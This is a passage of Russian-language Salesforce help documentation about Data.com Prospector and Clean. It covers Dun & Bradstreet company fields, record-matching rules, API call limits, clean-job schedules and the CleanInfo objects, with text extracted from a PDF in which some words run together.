Национальный идентификационный номер

Данноеполеопределяетиспользуемыйтипнационального
идентификационного номера. Полный список значений

Национальная идентификационная система

см. на странице Optimizer Resources, предоставленной
компанией Dun & Bradstreet.

Общее количество членов организации во всем мире,
включая глобальные головные подразделения, отделения
и филиалы (при их наличии).

Количество членов бизнес-сообщества

Общее количество сотрудников в глобальном головном
подразделении, являющемся центральным офисом в

Количество сотрудников (глобально)

корпоративнойструктуреорганизациииконтролирующим
деятельность отделений и филиалов.

Количествосотрудниковвопределенномместоположении
(например, в филиале).

Количество сотрудников (местоположение)

Достоверность показателя «Количество сотрудников
(местоположение)». Доступные значения: Actual

Индикатор количества сотрудников (местоположение)
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number, Low, Estimated (for all records) и
Modeled (for non-US records). Пустое значение
указывает на недоступность данных сведений.

Общее количество сотрудников в компании, включая все
отделения и филиалы. Данные сведения доступны только

Количество сотрудников: всего

для записейсо значением Headquarter/Parent вполе
«Тип местоположения».

Достоверность показателя «Количество сотрудников
(всего)». Доступные значения: Actual number, Low,

Индикатор количества сотрудников (всего)

Estimated (for all records) и Modeled (for
non-US records). Пустое значение указывает на
недоступность данных сведений.

Данное поле определяет компании, которые больше не
существуют по указанному адресу.

Индикатор банкротства

Данное поле определяет тип собственности компании:
государственная или частная. Для филиалов открытого

Индикатор типа собственности

акционерногообществаотображается значение Private
до момента начала их самостоятельной деятельности.

Основное имя родительской или головной компании.Официальное имя родительской компании

Номер D-U-N-S родительской или головной компании.Номер D-U-N-S родительской компании

Адрес фактического местонахождения компании. Данное
поле соответствует полю «Адрес для счета» в записях
организаций.

Основной адрес

Основное или зарегистрированное название компании.Основное официальное имя

Шестизначный код NAICS — это стандарт, используемый
вправительственныхиделовыхкругахдляклассификации

Основной код NAICS

коммерческих предприятий в соответствии с их
экономическойактивностью. Использованиеданногокода
позволяет собирать, анализировать и публиковать
статические данные, связанные с деловой экономикой
США.Полный список значений см. на странице Optimizer
Resources, предоставленной компанией Dun & Bradstreet.

Краткое описание рода деятельности организации на
основе кода NAICS.

Основное описание NAICS

Четырехзначный код SIC — это стандарт, используемый
для классификации коммерческих предприятий по

Основной код SIC

отраслям. Полный список значений см. на странице
Optimizer Resources, предоставленной компанией Dun &
Bradstreet.
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Краткое описание рода деятельности организации на
основе кода SIC.

Основное описание SIC

Имя, используемое для ведения деятельности и
отличающееся от юридического. Аналогично
официальному названию (DBA-имя).

Основной торговый стиль

Общее число сотрудников за предыдущий год.Сотрудники за предыдущий год

Годовые доходы за предыдущий год.Доходы за предыдущий год

Дополнительный код SIC, используемый для подробной
классификации организации по отраслям. Максимальная
длина: 8 символов.

Второй код SIC8*

Краткое описание рода деятельности организации на
основе соответствующего кода SIC. Максимальная длина:
80 символов.

Второе описание SIC8*

Дополнительныйкод NAICS, используемыйдляподробной
классификации организации по отраслям. См. поле
«Основной код NAICS».

Второй код NAICS

Краткое описание рода деятельности организации на
основе соответствующего кода NAICS. См. поле «Основное
описание NAICS».

Второе описание NAICS

Дополнительный код SIC, используемый для подробной
классификации организации по отраслям. См. поле
«Основной код SIC».

Второй код SIC

Краткое описание рода деятельности организации на
основе соответствующего кода SIC. См. поле «Основное
описание SIC».

Второе описание SIC

Дополнительный торговый стиль, используемый
организацией. См. поле «Основной торговый стиль».

Второй торговый стиль

Дополнительныйкод NAICS, используемыйдляподробной
классификации организации по отраслям. См. поле
«Основной код NAICS».

Шестой код NAICS

Краткое описание рода деятельности организации на
основе соответствующего кода NAICS. См. поле «Основное
описание NAICS».

Шестое описание NAICS

Дополнительный код SIC, используемый для подробной
классификации организации по отраслям. Максимальная
длина: 8 символов.

Шестой код SIC8*

Краткое описание рода деятельности организации на
основе соответствующего кода SIC. Максимальная длина:
80 символов.

Шестое описание SIC8*
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Дополнительный код SIC, используемый для подробной
классификации организации по отраслям. См. поле
«Основной код SIC».

Шестой код SIC

Краткое описание рода деятельности организации на
основе соответствующего кода SIC. См. поле «Основное
описание SIC».

Шестое описание SIC

Данноеполеопределяеткомпании, принадлежащиемалому
бизнесу согласно Управлению по делам малого бизнеса

Индикатор малого бизнеса

при Правительстве США. Dun & Bradstreet предоставляет
данные сведения только для организаций в США.

Биржа, соответствующая биржевому символу компании.
Например: NASDAQ или NYSE.

Фондовая биржа

Данное поле определяет компании, которые принадлежат
другой организации более чем на 50 процентов.

Индикатор филиала

Значение «Истина» или «Ложь». Если «Истина», то
компания представлена в индексе S&P 500. Если «Ложь»,
то компания не представлена в индексе S&P 500.

S&P 500

Основной номер телефона компании.Номер телефона

Дополнительныйкод NAICS, используемыйдляподробной
классификации организации по отраслям. См. поле
«Основной код NAICS».

Третий код NAICS

Краткое описание рода деятельности организации на
основе соответствующего кода NAICS. См. поле «Основное
описание NAICS».

Третье описание NAICS

Дополнительный код SIC, используемый для подробной
классификации организации по отраслям. Максимальная
длина: 8 символов.

Третий код SIC8*

Краткое описание рода деятельности организации на
основе соответствующего кода SIC. Максимальная длина:
80 символов.

Третье описание SIC8

Дополнительный код SIC, используемый для подробной
классификации организации по отраслям. См. поле
«Основной код SIC».

Третий код SIC

Краткое описание рода деятельности организации на
основе соответствующего кода SIC. См. поле «Основное
описание SIC».

Третье описание SIC

Дополнительный торговый стиль, используемый
организацией. См. поле «Основной торговый стиль».

Третий торговый стиль
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Буквенное сокращение, используемое для определения
публично торгуемых акций отдельной компании. Также
называется биржевым символом акций.

Биржевой символ

Адрес основного корпоративного веб-сайта.URL-адрес

Идентификационный номер компании, используемый
Налоговой службой США при соблюдении налогового

Американский ИНН

законодательства. Также называется федеральным
идентификационным номером налогоплательщика. Dun
& Bradstreet предоставляет данные сведения только для
организаций в США.

Данное поле определяет компании, которые принадлежат
или контролируются женским полом более чем на

Индикатор принадлежности женскому полу

50 процентов. Dun & Bradstreet предоставляет данные
сведения только для организаций в США.

Год основания компании или год приобретения
контрольного пакета текущим руководством. Если год

Год начала

основания или приобретения компании недоступен, то
используется год создания записи Dun & Bradstreet. Dun &
Bradstreet непредоставляет данные сведениядляфилиалов.

*Доступно только при наличии лицензии Data.com Premium Prospector
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Исправление ошибок добавления записей Data.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления
организаций из Data.com:
• «Создание» для

организаций

Для добавления контактов
из Data.com:
• «Создание» для

контактов

Для добавления контактов
Data.com из организации:
• «Чтение» для

организаций И
«Создание» для
контактов

Для добавления контактов
Data.com в качестве
интересов:
• «Создание» для

интересов

Приналичииошибок, препятствующихдобавлениюкакминимумоднойзаписиData.com
в систему Salesforce, пользователь может просмотреть CSV-файл журнала ошибок,
предназначенного для исправления любых ошибок добавления записей.

Доступ к журналу ошибок определяется действиями, предпринятыми пользователем.
При попытке добавления:

• менее 200 записей пользователю отображается сообщение, содержащее ссылку на
журнал ошибок на вкладке «Файлы».

• более 200 записей пользователю отправляется сообщение эл. почты, содержащее
ссылку на журнал ошибок на вкладке «Файлы».

• любого количества записей, если отключена поддержка Chatter, пользователю
отправляется сообщение эл. почты, содержащее вложенный журнал ошибок.

1. Откройте журнал ошибок добавления записей, просмотрите ошибки и выполните
одно из указанных ниже действий.

• При отображении ошибок, связанных с повторяющимися записями, действия
не выполняются. Ошибки повторения уведомляют о наличии соответствующих
записей в системе Salesforce и препятствуют их повторному добавлению. Если
настройки Data.com разрешают использование повторов, то ошибки повторения
неотображаются. ЕслинастройкиData.comразрешаютповторы, ноорганизация
использует правила, препятствующие созданию повторяющихся записей, то
необходимость блокировки повторяющейся записи будет определяться
повторяющимсяправилом. Записи, заблокированныеповторяющимсяправилом,
будут отображаться в журнале ошибок.

• При отображении ошибок, связанных с настраиваемыми конфигурациями
организации (например, триггеры, правила проверки или бизнес-правила),
сообщитеадминистраторуонеобходимостиисправленияданныхконфигураций.

• При использовании раскрывающихся списков «Область» и «Страна» и
отображении ошибок, связанных с доступными областями или странами,
сообщите администраторуонеобходимостидобавленияотдельнойобластиили
страны в связанный список.

• Приотображениилюбыхдругихошибокобратитеськадминистратору, которому,
в свою очередь, может потребоваться помощь службы поддержки Salesforce.

2. Повторитедобавление записейData.com в систему Salesforceпослеисправлениявсех
ошибок.
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Общие сведения о способах сопоставления записей Salesforce и Data.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

При использовании Data.com для очистки сведений об организациях, контактах и
интересах Salesforce рекомендуем изучить способы сравнения и сопоставления записей
Salesforce с записями Data.com.

Совет: Дополнительнуюинформациюослужбе сопоставленияData.com, включая
краткое графическое представление и подробные примеры, см. в официальном
документе Data.com Record Matching in Salesforce.

Посмотреть демонстрационный ролик: Общие сведения о правилах соответствия

Сравнениеисопоставлениезаписей SalesforceиData.com выполняетсядвумяспособами.

• Вручную: при нажатии кнопки «Очистить» для отдельной организации, контакта
или интереса.

• Автоматически: прииспользованиизаданийпоочистке всехорганизаций, контактов
или интересов.

Автоматическая очистка доступна только организациям, использующимфункцию
Data.com Clean. Ручнаяочистка доступна всемлицензированнымпользователямData.com
Prospector.

При первоначальной ручной или автоматической очистке записи Salesforce служба
сопоставления выполняет поиск похожих записей Data.com. Служба сопоставления
проверяет значенияполейкаждойзаписинаналичиеидентичныхилипохожихданных,
позволяющих подтвердить, что обе записи относятся к одному объекту (например, к
одной организации, контакту или интересу). При обнаружении совпадения Data.com
связываетданныезаписипочисловомузначениюполя «Ключ Data.com». Прикаждойочисткеконтактовиинтересов
Salesforce сопоставление записей выполняется службой сопоставления. При каждой очистке организаций Salesforce
сопоставление (или поиск) записей выполняется по полю «Номер D-U-N-S». Пустое поле «Номер D-U-N-S»

инициирует использование службы сопоставления. Если следующая очистка записи Salesforce отличается большим
количеством изменений, то служба сопоставления может выполнить повторный поиск более подходящих записей
Data.com.

Прим.:

• Чтобы выполнить повторное сопоставление организаций посредством службы сопоставления, независимо от
наличия поля «Номер D-U-N-S», обратитесь в службу поддержки Salesforce. Обратите внимание, что служба
сопоставления может назначить некоторым организациям статус очистки Data.com «Не найдено».

• Повторное сопоставление организаций автоматически выполняется посредством службы сопоставления, если
поле «Номер D-U-N-S» соотносится повторно или не соотносится, либо компонент Data.com приобретен
до 16 декабря 2011 года.

Ниже перечислены важные поля контактов и интересов.

• Имя

• Эл. почта

Рекомендуемиспользоватьпрямойадрес эл. почты, ане групповой (например, info@org.com). Какправило, идентичные
адреса эл. почтыинициируют совпадение, при условии, что другие значения записине конфликтуют. Примечание.
Data.com не хранит адреса эл. почты, которые могут являться личными контактными данными (например, Gmail или
Yahoo).

• Имя организации  (для контактов); Компания  (для интересов)
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• Должность

• Тел.

Ниже перечислены важные поля организаций.

• Имя организации

– Убедитесь, что имя организации не содержит несвязанные артифакты (например, номера (1002), специальные
символы (!#@#) или несвязанные слова). (Данные символы могут использоваться только в названии компании.)

– Рекомендуем использовать имена областей и стран только в названии компании.

– Если имя организации содержит несколько слов (например, DSGI Business (PC World Business)),
рекомендуем указать все слова.

– Если имя организации соответствует имени веб-сайта (например, salesforce.com), рекомендуем опустить
субдомен (например, .com).

• Адрес для счета

– Рекомендуем использовать полный адрес.

– Рекомендуем заполнить поле «Страна». Данное действие позволяет оптимизировать уровни совпадения.

– Рекомендуем заполнить поле «Область» или «Почтовый индекс».

– Если номер дома, в котором располагается организация, не известен, рекомендуем использовать только название
улицы. В отличие от пустого значения, название улицы, введенное без номера дома, повышает вероятность
обнаружения совпадения.

• Веб-сайт

• Тел.
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Как ограничения на API определяются для Data.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Ограничения по количеству вызовов Data.com определяются количеством и типом
приобретенныхлицензийData.com. Указаннаяинформациядоступнатолькодлячтения.
Рекомендуем использовать данную информацию для отслеживания показателей
использования вызовов Data.com API.

Ограничения для вызовов применяются на уровне организации Salesforce.

ОпределениеОграничение

Общееколичествовызовов API, доступных
в течение суток.

Всего совпадающих вызовов

Количество вызовов API, которое все еще
доступно для использования данным
интерфейсом API в течение суток.

Оставшееся количество совпадающих
вызовов

Общееколичествовызовов API, доступных
в течение суток.

Всего поисковых вызовов

Количество вызовов API, которое все еще
доступно для использования данным
интерфейсом API в течение суток.

Оставшееся количество поисковых
вызовов

Чтобы вычислить доступное ограничение, воспользуйтесь следующейформулой:
1000 x (количество лицензий)=(ограничение для вызовов API).

Ограничение для вызовов Match API определяется количеством доступных лицензий на функцию очистки Data.com.
Ограничениедля вызовов Search API определяется количествомдоступныхлицензийнафункциюпоискапотенциальных
клиентов Data.com.

Включение или выключение функции Data.com API
ФункцияData.com API включена по умолчанию. Чтобы включить или выключитьфункциюData.com API, установите или
снимите флажок «Включить Data.com API».

Чтобы выключить интерфейсы Data.com API, выполните указанные ниже действия.

1. Введите строку «Администрирование Data.com» в поле «Быстрый поиск» в меню «Настройка», затем выберите
пункт «Настройки API».

2. Чтобы отменить доступ, снимите флажок «Разрешить доступ к Data.com API».

3. Чтобы применить и сохранить внесенные изменения, нажмите кнопку «Сохранить».

Чтобы включить интерфейсы Data.com API, выполните указанные ниже действия.

1. Введите строку «Администрирование Data.com» в поле «Быстрый поиск» в меню «Настройка», затем выберите
пункт «Настройки API».

2. Чтобы предоставить доступ, установите флажок «Разрешить доступ к Data.com API».

3. Установите флажок «Я ознакомлен и принимаю указанные выше условия» и нажмите кнопку «Подтвердить».

Юридическая информация.
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Data.com API позволяет настраивать, создавать и интегрироватьфункции очистки и поиска потенциальных клиентов
Data.com в собственные бизнес-процессы и бизнес-правила. Данные функции предоставляют администраторам
дополнительныеполномочиядляобработкииочисткиданныхоклиентах, в связисчем, считаемнужнымнапомнить,
что, согласно действующему Основному соглашению о подписке, охватывающему функции очистки и поиска
потенциальныхклиентовData.com, а такжедокументуData.com Security, Privacy and Architecture Documentation, доступному
на веб-сайте help.salesforce.com, поля данных о клиентах, выбранные для обработки и/или очистки, могут быть
перенесены в инфраструктуру Data.com для совместной работы. Если дополнительные полномочия представляют
угрозу конфиденциальности или безопасности данных организации, рекомендуем ограничить типы полей данных
о клиентах, выбираемых для обработки и очистки, или отказаться от доступа к Data.com API путем снятия флажка
«Разрешить API-доступ».

4. Чтобы включить доступ к Data.com API, нажмите кнопку «Сохранить».

Администрирование Data.com. Вопросы и ответы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Данный раздел содержит ответы на некоторые типичные вопросы администраторов о
продукте Data.com.

Как определить продукт Data.com, используемый в организации?

Поля Salesforce, изменяемые функцией Data.com Clean

Какой продукт должна использовать моя организация для очистки записей
организаций, контактов и интересов?

Что делать при достижении пользователями Data.com ограничения на добавление?

Можнолипредотвратитьавтоматическоеобновлениезаписейзаданиямипо Data.com
Clean?

Почемуотображаетсясообщение «Даннаязаписьнеможетбытьполностьюочищена
по причине ограниченного доступа к данным»?

Как часто задания по Data.com Clean обновляют все мои организации, контакты,
интересы и компании D&B?

СМ. ТАКЖЕ:

Получайте высококачественные данные там, где это нужно при помощи Salesforce

Как определить продукт Data.com, используемый в организации?

Чтобы определить используемый продукт, откройте страницу «Лицензии и ограничения Data.com». Введите строку
«Лицензии и ограничения» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Лицензиииограничения».
ЕслиорганизацияприобрелапродуктData.com Corporate Prospector, тозаголовокданногоразделастраницыбудетсодержать
слово «Corporate». Еслиорганизация приобрела продуктData.com Premium Prospector, то заголовок будет содержать слово
«Premium».

СМ. ТАКЖЕ:

Data.com Clean
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Поля Salesforce, изменяемые функцией Data.com Clean

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Прим.:

• Если организация использует настраиваемые соотнесения полей Data.com и
Salesforce, то данный список может содержать другие поля.

• При наличии как минимум одного нередактируемого поля организации,
контакта или интереса система может отображать следующее сообщение:
«Данная запись не может быть полностью очищена по причине
ограниченного доступа к данным объекта» или «Обновление доступно
только для некоторых отображающихся здесь полей по причине
ограниченного доступа к полям объекта "Организация"». Приотображении
подобного сообщения обратитесь за помощью к администратору.

При использованиифункции Data.com Clean для ручной или автоматической очистки
записи Salesforceполя записиобновляются даннымиData.com. Нижеперечисленыполя,
подлежащие обновлению.

Поля организаций

ОтрасльИмя организации

Код NAICSМестоположение организации

Описание NAICSГодовой доход

ОтветственностьАдрес для счета

Тел.Статус очистки

Код SICКомпания D&B  (только Premium Prospector
и очистка)

Описание SICКлюч Data.com

Биржевой символНомер D-U-N-S

Торговый стильОписание

Веб-сайтСотрудники

Год началаФакс

Поля контактов

Почтовый адресСтатус очистки

Тел.Ключ Data.com

ДолжностьЭл. почта

Имя
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Поля интересов

Эл. почтаАдрес

ОтрасльГодовой доход

ИмяСтатус очистки

Количество сотрудниковКомпания

Тел.Номер D-U-N-S компании

ДолжностьКомпания D&B  (только Premium Prospector и очистка)

Ключ Data.com

СМ. ТАКЖЕ:

Почему отображается сообщение «Данная запись не может быть полностью очищена по причине ограниченного
доступа к данным»?

Очистка отдельных записей Salesforce

Какой продукт должна использовать моя организация для очистки записей организаций, контактов
и интересов?
Компания salesforce.com предлагает пользователям несколько продуктов. Подробнее о наборе продуктов Data.com и
параметрах очистки, представленных в каждом из компонентов, вы можете узнать в разделе Получение качественных
данных тогда, когда это нужно, прямо в Salesforce.

Чтобы включить функцию очистки в организации, обратитесь в компанию Salesforce.

СМ. ТАКЖЕ:

Data.com Clean

Что делать при достижении пользователями Data.com ограничения на добавление?
ЧтобыприобрестидополнительныелицензиидляпользователейData.com, обратитеськменеджерупоработе с клиентами
Salesforce.

СМ. ТАКЖЕ:

Как работают типы пользователя, лицензии и ограничения на добавление записей Data.com?

Можно ли предотвратить автоматическое обновление записей заданиями по Data.com Clean?

Да. Просто выполните данные рекомендации.

СМ. ТАКЖЕ:

Data.com Clean

Отмена обновления записей при выполнении заданий Data.com Clean
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Почему отображается сообщение «Данная запись не может быть полностью очищена по
причине ограниченного доступа к данным»?

Принеудачномредактированиикакминимумодногополя записиорганизации, контактаилиинтересаданноесообщение
отображается пользователям, выполняющим очистку записи вручную посредством функции Data.com Clean. Поля,
доступные для редактирования, также могут быть очищены.

Чтобы гарантировать возможность редактирования полей Salesforce, изменяемых при очистке записей (включая поля
D&B), обратитесь к администратору. Порядокдействийадминистратораопределяется версиейсистемы Salesforce, которую
использует компания.

• Прииспользованииверсии Contact Manager Edition, Group Edition или Professional Edition убедитесь, чтополяиспользуются
соответствующим макетом страницы.

• При использовании версии Enterprise Edition, Performance Edition или Unlimited Edition убедитесь, что параметрам
безопасности полей задано значение «Доступно».

СМ. ТАКЖЕ:

Поля Salesforce, изменяемые функцией Data.com Clean

Использование Data.com. Вопросы и ответы

Как часто задания по Data.com Clean обновляют все мои организации, контакты, интересы и
компании D&B?

Периодичность выполнения заданий определяется посредством страницы «Задания по очистке». Существует два типа
заданий.

Полная синхронизация
Данные задания очищают все записи, независимо от их статуса очистки.

Прим.: Если задания разрешают игнорировать пропущенные записи, то записи со статусом очистки
«Пропущено» не подлежат очистке.

Добавочная синхронизация
Данные задания очищают только записи со статусом очистки «Не сравнивалось».

Полная синхронизация выполняется только при наличии заданий, запланированных как минимум на один день недели.

Полная синхронизация контактов и интересов выполняется каждые 14 дней для всех подходящих записей.

Длязаписейкомпании D&B полноезаданиесинхронизациизапускаетсякаждые 14 дней. Очистка записейосуществляется
только при выполнении полной синхронизации.

Частотавыполненияполнойсинхронизацииорганизацийопределяетсявыбраннойслужбойсопоставленияиналичием
значения в поле «Номер D-U-N-S компании». При наличии номера D-U-N-S полная синхронизация организаций
выполняется каждые 14 дней, независимо от используемой службы сопоставления. При отсутствии номера D-U-N-S
просмотрите таблицу ниже.

Частота очистки организаций без номера D-U-N-SСлужба сопоставления

Каждые 14 днейСопоставление Data.com
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Частота очистки организаций без номера D-U-N-SСлужба сопоставления

Каждые 30 днейСопоставление DUNSRight

Прим.: При каждом выполнении полной
синхронизациидляорганизацийбезномера D-U-N-S
рекомендуем задавать параметру «Полная
синхронизация при выполнении следующего
задания» настранице «Заданияпоочистке» значение
«Вкл.». Послевыполненияполнойсинхронизации
данному параметру задается значение «Выкл.»,
которое не может быть изменено на значение
«Вкл.» в течение 30 дней после завершения
последней полной синхронизации.

СМ. ТАКЖЕ:

Планирование заданий по очистке Data.com

Расписание полной синхронизации записей организаций Salesforce с использованием Data.com Clean

Использование сведений об очистке организаций, контактов и интересов

Общие сведения об объекте «Сведения об очистке организации»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Объект «Сведения об очистке организации» является фоновым, то есть хранит
метаданные, которыеиспользуютсядляопределениястатусаочисткизаписиорганизации.

Объект «Сведения об очистке организации» — это снимок данных, доступных в записи
организации Salesforce и совпадающей записи Data.com на момент очистки записи
Salesforce.

Объект «Сведения об очистке организации» содержит битовые векторные поля,
компонентныеполя которыхсоответствуютотдельнымполямобъектаипредоставляют
связанные данные или сведения о статусе данных полей. Например, битовое векторное
поле IsDifferent содержит поле IsDifferentState. Если поле
IsDifferentState содержит значение False, то запись организации Salesforce и
совпадающая запись Data.com используют одинаковое значение поля «Область».

Ниже перечислены доступные битовые векторные поля.

• CleanedBy определяетодушевленный (пользователь) илинеодушевленныйпредмет
(задание по очистке), очистивший запись организации.

• IsDifferent определяетполе записиорганизации, значениекоторогоотличается
от соответствующего поля совпадающей записи Data.com.

• IsFlaggedWrong определяет поле записи организации, значение которого
помечается как неверное в Data.com.

• IsReviewed определяет поле записи организации со статусом «Просмотрено»,
соответствующим просмотренному, но непринятому значению.
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Некоторые поля объекта «Сведения об очистке организации» могут быть изменены администраторами на странице
«Сведения об очистке организации».

Чтобыавтоматизироватьпроцессочисткиилисвязаннойобработки записейорганизаций, разработчикимогут создавать
триггеры, считывающие поля объекта «Сведения об очистке организации». Например, создайте триггер, считывающий
поле «Статус очистки» для объекта «Организация». Если поле организации «Статус очистки» содержит значение
«Отличается», а поле «Улица для счета» не содержит значения, то триггер может назначить записи статус «Не
сравнивалось».

СМ. ТАКЖЕ:

https://developer.salesforce.com/docs/atlas.en-us.api.meta/api/sforce_api_objects_accountcleaninfo.htm

Общие сведения об объекте «Сведения об очистке контакта»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Объект «Сведения об очистке контакта» являетсяфоновым, то есть хранит метаданные,
которые используются для определения статуса очистки записи контакта.

Объект «Сведения об очистке контакта» — это снимок данных, доступных в записи
контакта Salesforce и совпадающей записиData.comнамомент очистки записи Salesforce.

Объект «Сведения об очистке контакта» содержит битовые векторные поля,
компонентныеполя которыхсоответствуютотдельнымполямобъектаипредоставляют
связанные данные или сведения о статусе данных полей. Например, битовое векторное
поле IsDifferent содержит поле IsDifferentEmail. Если поле
IsDifferentEmail содержит значение False, то запись контакта Salesforce и
совпадающая запись Data.com используют одинаковое значение поля «Эл. почта».

Ниже перечислены доступные битовые векторные поля.

• CleanedBy определяетодушевленный (пользователь) илинеодушевленныйпредмет
(задание по очистке), очистивший запись контакта.

• IsDifferent определяет поле записи контакта, значение которого отличается от
соответствующего поля совпадающей записи Data.com.

• IsFlaggedWrong определяетполе записиконтакта, значениекоторогопомечается
как неверное в Data.com.

• IsReviewed определяет поле записи контакта со статусом «Просмотрено»,
соответствующим просмотренному, но непринятому значению.

Чтобыавтоматизироватьпроцессочисткиилисвязаннойобработки записейконтактов,
разработчики могут создавать триггеры, считывающие поля объекта «Сведения об очистке контакта».

СМ. ТАКЖЕ:

https://developer.salesforce.com/docs/atlas.en-us.api.meta/api/sforce_api_objects_contactcleaninfo.htm
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Общие сведения об объекте «Сведения об очистке интереса»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Объект «Сведения об очистке интереса» являетсяфоновым, то есть хранит метаданные,
которые используются для определения статуса очистки записи интереса.

Объект «Сведения об очистке интереса» — это снимок данных, доступных в записи
интереса Salesforce исовпадающейзаписиData.comнамоменточистки записи Salesforce.

Объект «Сведения об очистке интереса» содержит битовые векторные поля,
компонентныеполя которыхсоответствуютотдельнымполямобъектаипредоставляют
связанные данные или сведения о статусе данных полей. Например, битовое векторное
поле IsDifferent содержит поле IsDifferentTitle. Если поле
IsDifferentTitle содержит значение False, то запись интереса Salesforce и
совпадающая запись Data.com используют одинаковое значение поля «Должность».

Ниже перечислены доступные битовые векторные поля.

• CleanedBy определяетодушевленный (пользователь) илинеодушевленныйпредмет
(задание по очистке), очистивший запись интереса.

• IsDifferent определяет поле записи интереса, значение которого отличается от
соответствующего поля совпадающей записи Data.com.

• IsFlaggedWrong определяетполезаписиинтереса, значениекоторогопомечается
как неверное в Data.com.

• IsReviewed определяет поле записи интереса со статусом «Просмотрено»,
соответствующим просмотренному, но непринятому значению.

Чтобыавтоматизироватьпроцессочисткиилисвязаннойобработки записейинтересов,
разработчики могут создавать триггеры, считывающие поля объекта «Сведения об очистке интереса».

СМ. ТАКЖЕ:

https://developer.salesforce.com/docs/atlas.en-us.api.meta/api/sforce_api_objects_leadcleaninfo.htm
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Создание типа настраиваемого отчета по сведениям об очистке организаций, контактов или
интересов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для удаления типов
настраиваемых отчетов:
• «Изменение всех

данных»

Создайте типынастраиваемыхотчетовдля составленияотчетовпосведениямобочистке
организаций, контактов и интересов. Типы настраиваемых отчетов по сведениям об
очистке позволяют быстро просматривать сведения об очистке разных записей
посредствомодногоотчета. Рекомендуемиспользоватьданныесведениядляопределения
шаблоновитрендовданных, атакжеуправленияилиизмененияспособаочисткизаписей.

1. В разделе «Настройка» введите «Типы отчетов» в поле «Быстрый поиск», затем
выберите «Типы отчетов».

2. Нажмите кнопку «Создать тип настраиваемого отчета».

3. Выберите объект «Организации», «Контакты» или «Интересы» в качестве основного
и определите другие обязательные поля.

4. Принеобходимостивыберитекатегорию «Организации и контакты» или «Интересы».

5. Нажмите кнопку «Далее».

6. Свяжите соответствующий объект «Сведения об очистке» («Сведения об очистке
организации», «Сведенияобочистке контакта» или «Сведенияобочисткеинтереса»)
с выбранным основным объектом. Примите стандартное значение для параметра
«Взаимосвязь "А"—"В"».

7. Выберите нужный статус развертывания.

8. Нажмите кнопку «Сохранить».

Теперь новые типы настраиваемых отчетов могут использоваться для создания
настраиваемых отчетов.

СМ. ТАКЖЕ:

Создание типа настраиваемого отчета

Составление отчетов по записям Salesforce с конкретным статусом очистки Data.com

Предоставление пользователям права на совместное
использование данных с партнерами

Общие сведения о партнерских порталах
Системаподдерживаетсозданиепартнерскихпорталов, позволяющихповыситьэффективностьуправленияпартнерами.

В таблице ниже рассмотрены отличительные особенности партнерского портала.

Партнерский портал

Данный портал предоставляет бизнес-партнерам доступ к
разрешенным данным Salesforce.

Назначение

Данный портал поддерживает сверхнастраиваемый
интерактивный пользовательский интерфейс и функции,

Интерфейс пользователя
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Партнерский портал

аналогичныефункциямSalesforce (например, полномочия,
настраиваемые объекты, правила общего доступа и
веб-вкладки).

Организации, контакты, документы, идеи, интересы,
возможности, решения и настраиваемые объекты.

Поддерживаемые типы записей

Дополнительную информацию можно получить в
компании Salesforce.

Количество

Нижеперечисленыдействия, доступныеадминистраторам.Административные элементы управления

